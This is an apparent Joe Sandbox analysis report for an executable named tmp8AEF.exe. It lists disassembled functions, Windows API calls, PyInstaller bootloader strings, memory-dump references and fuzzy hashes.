Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction ID: c79f2b3a154565a927c3bdde555c7f6a4bff77f11a5a71ea7f460b7802aae189
Opcode Fuzzy Hash: 353d784395b77eefcba7ec404c7e4e47dbaba59ece92a9373595b893a828088a
Instruction Fuzzy Hash: FA114936619B8482EB219F2AF45066DB7E4FB8CB95F984271DE8D07768DF3CC9518B00

Function 00007FF7CA7AFA4C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7AFA7C
GetDriveTypeW.KERNEL32 ref: 00007FF7CA7AFABC

Strings

:, xrefs: 00007FF7CA7AFAA5

Memory Dump Source

Source File: 00000006.00000002.2288359854.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000006.00000002.2288309521.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288399563.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288442383.00007FF7CA7D4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.2288515262.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: DriveType_invalid_parameter_noinfo
String ID: :
API String ID: 2595371189-336475711
Opcode ID: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction ID: d0d91e3e2fe1d395c71b21dd748adfa5d8434768c1c9ec609554168318c0a5b1
Opcode Fuzzy Hash: 229dc5225c97c31120184e1c5c073253f760aebc87e6502baf4f3d3b6f3e4c47
Instruction Fuzzy Hash: F901D42291C20295FB20BF62B4712BEA3A0FF4D72AFC02075D54C42291DF3CD804CA30

Analysis Process: tmp8AEF.exePID: 1576, Parent PID: 344COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	816
Total number of Limit Nodes:	24

Executed Functions

Function 00007FF7CA791000 Relevance: 40.6, APIs: 5, Strings: 18, Instructions: 338
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF7CA793653
pyi-disable-windowed-traceback, xrefs: 00007FF7CA79361D
Failed to start splash screen!, xrefs: 00007FF7CA793933
pyi-runtime-tmpdir, xrefs: 00007FF7CA7935D3
MEI, xrefs: 00007FF7CA79374E
Could not side-load PyInstaller's PKG archive from external file (%s), xrefs: 00007FF7CA7937EF
Failed to unpack splash screen dependencies from PKG archive!, xrefs: 00007FF7CA793905
_MEIPASS2, xrefs: 00007FF7CA7936A2, 00007FF7CA7936AE, 00007FF7CA7939AC
pyi-contents-directory, xrefs: 00007FF7CA7935F8
Failed to load Tcl/Tk shared libraries for splash screen!, xrefs: 00007FF7CA79391A
Failed to convert DLL search path!, xrefs: 00007FF7CA7938A3
pkg, xrefs: 00007FF7CA7937CF
Could not create temporary directory!, xrefs: 00007FF7CA793838
WARNING: failed to remove temporary directory: %s, xrefs: 00007FF7CA793A31
Path exceeds PYI_PATH_MAX limit., xrefs: 00007FF7CA7936FC
Failed to initialize security descriptor for temporary directory!, xrefs: 00007FF7CA793820
Could not load PyInstaller's embedded PKG archive from the executable (%s), xrefs: 00007FF7CA79378C
ERROR: failed to remove temporary directory: %s, xrefs: 00007FF7CA793A12

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: FileModuleName
String ID: Could not create temporary directory!$Could not load PyInstaller's embedded PKG archive from the executable (%s)$Could not side-load PyInstaller's PKG archive from external file (%s)$ERROR: failed to remove temporary directory: %s$Failed to convert DLL search path!$Failed to initialize security descriptor for temporary directory!$Failed to load Tcl/Tk shared libraries for splash screen!$Failed to start splash screen!$Failed to unpack splash screen dependencies from PKG archive!$MEI$PYINSTALLER_STRICT_UNPACK_MODE$Path exceeds PYI_PATH_MAX limit.$WARNING: failed to remove temporary directory: %s$_MEIPASS2$pkg$pyi-contents-directory$pyi-disable-windowed-traceback$pyi-runtime-tmpdir
API String ID: 514040917-585287483
Opcode ID: bd5132a996e21c3b955ef89ab5ecb1a2b08bd885b3b328e7f6b5000dab4d0f26
Instruction ID: 538e011d137946bfc97a864317923fd5f9b93fe68f7a50e41baf04f09b6f111f
Opcode Fuzzy Hash: bd5132a996e21c3b955ef89ab5ecb1a2b08bd885b3b328e7f6b5000dab4d0f26
Instruction Fuzzy Hash: 82F1AF61A0868261FA14FF32B474AF9A361BF5C7A2FC440B6DA1D43692EF2CE554C360

Function 00007FF7CA7B4F10 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF7CA7B4F55

Part of subcall function 00007FF7CA7B48A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B48BC

Part of subcall function 00007FF7CA7A9C58: HeapFree.KERNEL32(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C6E
Part of subcall function 00007FF7CA7A9C58: GetLastError.KERNEL32(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C78

Part of subcall function 00007FF7CA7A9C10: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7CA7A9BEF,?,?,?,?,?,00007FF7CA7A9ADA), ref: 00007FF7CA7A9C19
Part of subcall function 00007FF7CA7A9C10: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7CA7A9BEF,?,?,?,?,?,00007FF7CA7A9ADA), ref: 00007FF7CA7A9C3E

_get_daylight.LIBCMT ref: 00007FF7CA7B4F44

Part of subcall function 00007FF7CA7B4908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B491C

_get_daylight.LIBCMT ref: 00007FF7CA7B51BA
_get_daylight.LIBCMT ref: 00007FF7CA7B51CB
_get_daylight.LIBCMT ref: 00007FF7CA7B51DC
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CA7B541C), ref: 00007FF7CA7B5203

Strings

Eastern Standard Time, xrefs: 00007FF7CA7B52A9
Eastern Summer Time, xrefs: 00007FF7CA7B52C1

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 4070488512-239921721
Opcode ID: 1e88bcb5f495bb70dc88d60703a9f776145871d29d9eb43ad6078281b4d73a6f
Instruction ID: 475dcff8af34952df7fbc75609c0b8e964b7cda9e0bb69a7eacc0b0c14469098
Opcode Fuzzy Hash: 1e88bcb5f495bb70dc88d60703a9f776145871d29d9eb43ad6078281b4d73a6f
Instruction Fuzzy Hash: EFD19FA6E0874286F720BF27B8601B9A3A1FB687A6FC44175DE0E47695DF3CE451C360

Function 00007FF7CA7B5C74 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7CA7B59A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B59E9
Part of subcall function 00007FF7CA7B59A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B5A67
Part of subcall function 00007FF7CA7B59A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B5AB8

CreateFileW.KERNELBASE ref: 00007FF7CA7B5D7A
CreateFileW.KERNEL32 ref: 00007FF7CA7B5DCA
GetLastError.KERNEL32 ref: 00007FF7CA7B5DFA
GetFileType.KERNELBASE ref: 00007FF7CA7B5E0F
GetLastError.KERNEL32 ref: 00007FF7CA7B5E19
CloseHandle.KERNEL32 ref: 00007FF7CA7B5E4C
CloseHandle.KERNEL32 ref: 00007FF7CA7B5FAF
CreateFileW.KERNEL32 ref: 00007FF7CA7B5FE4
GetLastError.KERNEL32 ref: 00007FF7CA7B5FF3

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction ID: 6798bf5561f63eb413830064ae0e49be6dbe10bc9b9e35f1db636e762b79dfd0
Opcode Fuzzy Hash: a69f399e4b06a5e248c6b703f60b2f721b94672e004abf856287656fc91ee5b6
Instruction Fuzzy Hash: FDC1E172B28B4185FB10DF6AE0A06AC7761FB98BA9F801265DE1E5B394CF38D451C310

Function 00007FF7CA7B518C Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF7CA7B51BA

Part of subcall function 00007FF7CA7B4908: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B491C

_get_daylight.LIBCMT ref: 00007FF7CA7B51CB

Part of subcall function 00007FF7CA7B48A8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B48BC

_get_daylight.LIBCMT ref: 00007FF7CA7B51DC

Part of subcall function 00007FF7CA7B48D8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7B48EC

Part of subcall function 00007FF7CA7A9C58: HeapFree.KERNEL32(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C6E
Part of subcall function 00007FF7CA7A9C58: GetLastError.KERNEL32(?,?,?,00007FF7CA7B2032,?,?,?,00007FF7CA7B206F,?,?,00000000,00007FF7CA7B2535,?,?,?,00007FF7CA7B2467), ref: 00007FF7CA7A9C78

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7CA7B541C), ref: 00007FF7CA7B5203

Strings

Eastern Standard Time, xrefs: 00007FF7CA7B52A9
Eastern Summer Time, xrefs: 00007FF7CA7B52C1

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 3458911817-239921721
Opcode ID: c5508bc63ced89b7e96ce891f343e42cb1356f84bc391250f2f4d752248c7e40
Instruction ID: 63bd7a8fefcc0e4afcc44a7586fe947c1790870a0260412d6fd5c52c00f07757
Opcode Fuzzy Hash: c5508bc63ced89b7e96ce891f343e42cb1356f84bc391250f2f4d752248c7e40
Instruction Fuzzy Hash: 04517BB2A1874286F720FF23F8A15A9A760FB5C7A6F844175EE0D43696DF3CE4408760

Function 00007FF7CA7985A0 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNELBASE ref: 00007FF7CA7985D3
FindClose.KERNELBASE ref: 00007FF7CA7985E2

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction ID: 7809cd8405d3a0183a2d09d59aa69b0bff6986bdcfae487c5cd2646ec74e0990
Opcode Fuzzy Hash: ca66ee6ee850f25a53d0c9653a43f1313d0231bc46844eb151e3c2d0b1a3e355
Instruction Fuzzy Hash: 5FF0C822A1874586F7609F71B4A8B66B360FB88739F84033AD97D066D4CF3CD0588B00

Function 00007FF7CA7918F0 Relevance: 22.9, APIs: 2, Strings: 11, Instructions: 172
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7CA7976A0: _fread_nolock.LIBCMT ref: 00007FF7CA79774A

_fread_nolock.LIBCMT ref: 00007FF7CA7919B4

Part of subcall function 00007FF7CA792760: MessageBoxW.USER32 ref: 00007FF7CA79283B

Strings

Could not allocate memory for archive structure!, xrefs: 00007FF7CA7919EE
calloc, xrefs: 00007FF7CA7919F5
malloc, xrefs: 00007FF7CA791AA8
fread, xrefs: 00007FF7CA7919C6, 00007FF7CA791ADB
Error on file., xrefs: 00007FF7CA791B0A
Could not allocate buffer for TOC!, xrefs: 00007FF7CA791AA1
MEI, xrefs: 00007FF7CA791931
Could not read full TOC!, xrefs: 00007FF7CA791AD4
Failed to seek to cookie position!, xrefs: 00007FF7CA791989
Failed to read cookie!, xrefs: 00007FF7CA7919BF
fseek, xrefs: 00007FF7CA791990

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _fread_nolock$Message
String ID: Could not allocate buffer for TOC!$Could not allocate memory for archive structure!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$calloc$fread$fseek$malloc
API String ID: 677216364-3497178890
Opcode ID: 57b6e4ea9f39556d2677422c2246312e24261b951277e46f7f86142bb6056f80
Instruction ID: 97c684da1bd20317123bda7fa7aab4def5129d99004653001d8efda2abe0edd6
Opcode Fuzzy Hash: 57b6e4ea9f39556d2677422c2246312e24261b951277e46f7f86142bb6056f80
Instruction Fuzzy Hash: 0671E871B0878285FB60EF36F460AB9A391FB8C7A6F804076DD8D47759EE2CE5448760

Function 00007FF7CA791440 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 100
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

malloc, xrefs: 00007FF7CA7914E0
fread, xrefs: 00007FF7CA7915A1
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7CA79146F
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF7CA7914D9
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7CA7914A9
fseek, xrefs: 00007FF7CA7914B0
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7CA79159A

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: 9a0b35fad34c2c70fa4792be24f624e82cd728b0c385409cbfb914aea3d8cfbd
Instruction ID: a0eb16912b932c42a1d9baf0563eb8dcd5e61943c4c21d96487518526caeb14a
Opcode Fuzzy Hash: 9a0b35fad34c2c70fa4792be24f624e82cd728b0c385409cbfb914aea3d8cfbd
Instruction Fuzzy Hash: C7418E61B0864281FA60BF37B4619BAE3A0FB5C7E6FD44072DE4E07A95EE3CE5418710

Function 00007FF7CA7911F0 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: decompression resulted in return code %d!, xrefs: 00007FF7CA7913EE
malloc, xrefs: 00007FF7CA79129C, 00007FF7CA7912CA
1.3.1, xrefs: 00007FF7CA791229
Failed to extract %s: inflateInit() failed with return code %d!, xrefs: 00007FF7CA791256
Failed to extract %s: failed to allocate temporary output buffer!, xrefs: 00007FF7CA7912C3
Failed to extract %s: failed to allocate temporary input buffer!, xrefs: 00007FF7CA791295

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Message
String ID: 1.3.1$Failed to extract %s: decompression resulted in return code %d!$Failed to extract %s: failed to allocate temporary input buffer!$Failed to extract %s: failed to allocate temporary output buffer!$Failed to extract %s: inflateInit() failed with return code %d!$malloc
API String ID: 2030045667-2813020118
Opcode ID: 85026a7eca33eed62396a3c44ac8e2af46aea1793c30bb10ceca8764f980f820
Instruction ID: b5391e1676d64e335cf7a320f6b982baa8b1e2f378caacd0a6270989fd340161
Opcode Fuzzy Hash: 85026a7eca33eed62396a3c44ac8e2af46aea1793c30bb10ceca8764f980f820
Instruction Fuzzy Hash: E551D262A0864281FA60BF37B460BBAA390BB897A6FC44176DD4D477D5EF3CE4118720

Function 00007FF7CA7AE020 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7CA7AE3BA,?,?,-00000018,00007FF7CA7AA063,?,?,?,00007FF7CA7A9F5A,?,?,?,00007FF7CA7A524E), ref: 00007FF7CA7AE19C
GetProcAddress.KERNEL32(?,?,?,00007FF7CA7AE3BA,?,?,-00000018,00007FF7CA7AA063,?,?,?,00007FF7CA7A9F5A,?,?,?,00007FF7CA7A524E), ref: 00007FF7CA7AE1A8

Strings

api-ms-, xrefs: 00007FF7CA7AE0E6
ext-ms-, xrefs: 00007FF7CA7AE0F9

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction ID: e539b5b569d69f6f53b1971c1198f23ad4841fdee460c71122e855426a66c7ab
Opcode Fuzzy Hash: 400d167c79677b3a1b331b2dd1a2c4ed1cd7dec94f3cf9f9612a621c3bffedbb
Instruction Fuzzy Hash: AB41F571B19A22A1FA16AF17F820675B2A1BF4CBB2F985175DD0D47784EE3CE8458320

Function 00007FF7CA7AAD6C Relevance: 10.8, APIs: 7, Instructions: 290
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7CA7AB199

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 61b7c791dd7b4870e419cd94b23561cebff66563b6152af2ba6a1b175460b8f9
Instruction ID: 526e1b91499e656a934263aa98156c479dc3e8e63386a269effbe7ea5a762aa9
Opcode Fuzzy Hash: 61b7c791dd7b4870e419cd94b23561cebff66563b6152af2ba6a1b175460b8f9
Instruction Fuzzy Hash: 15C10822A0C68771FB10AF16B0202BEB754FBD8BA2F956171E94D07791DE7DEC558320

Function 00007FF7CA7933E0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(?,00007FF7CA793534), ref: 00007FF7CA793411

Part of subcall function 00007FF7CA7929E0: GetLastError.KERNEL32(?,?,?,00007FF7CA79342E,?,00007FF7CA793534), ref: 00007FF7CA792A14
Part of subcall function 00007FF7CA7929E0: FormatMessageW.KERNEL32(?,?,?,00007FF7CA79342E), ref: 00007FF7CA792A7D
Part of subcall function 00007FF7CA7929E0: MessageBoxW.USER32 ref: 00007FF7CA792ACF

Strings

Failed to convert executable path to UTF-8., xrefs: 00007FF7CA7934B8
\\?\, xrefs: 00007FF7CA793482
Failed to resolve full path to executable %ls., xrefs: 00007FF7CA793461
Failed to obtain executable path., xrefs: 00007FF7CA79341B
GetModuleFileNameW, xrefs: 00007FF7CA793422

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

Associated: 00000009.00000002.2284804099.00007FF7CA790000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2284923903.00007FF7CA7BB000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285089335.00007FF7CA7D3000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000009.00000002.2285165136.00007FF7CA7D6000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7ff7ca790000_tmp8AEF.jbxd

Similarity

API ID: Message$ErrorFileFormatLastModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to obtain executable path.$Failed to resolve full path to executable %ls.$GetModuleFileNameW$\\?\
API String ID: 517058245-2863816727
Opcode ID: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction ID: 461ee177c69afbedae8b52f28cbfc0310a9f30a65b6c8f04beec5da2ebdb988f
Opcode Fuzzy Hash: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction Fuzzy Hash: 3721E260B1864291FA21BF32F8707B99250BF5C3B6FC041B7DA5D86AE5EE2CE5048360

Function 00007FF7CA7AEC9C Relevance: 6.2, APIs: 4, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF7CA7AED8C
_get_daylight.LIBCMT ref: 00007FF7CA7AED9D
_get_daylight.LIBCMT ref: 00007FF7CA7AEDAE
_isindst.LIBCMT ref: 00007FF7CA7AEE79

Memory Dump Source

Source File: 00000009.00000002.2284834998.00007FF7CA791000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7CA790000, based on PE: true

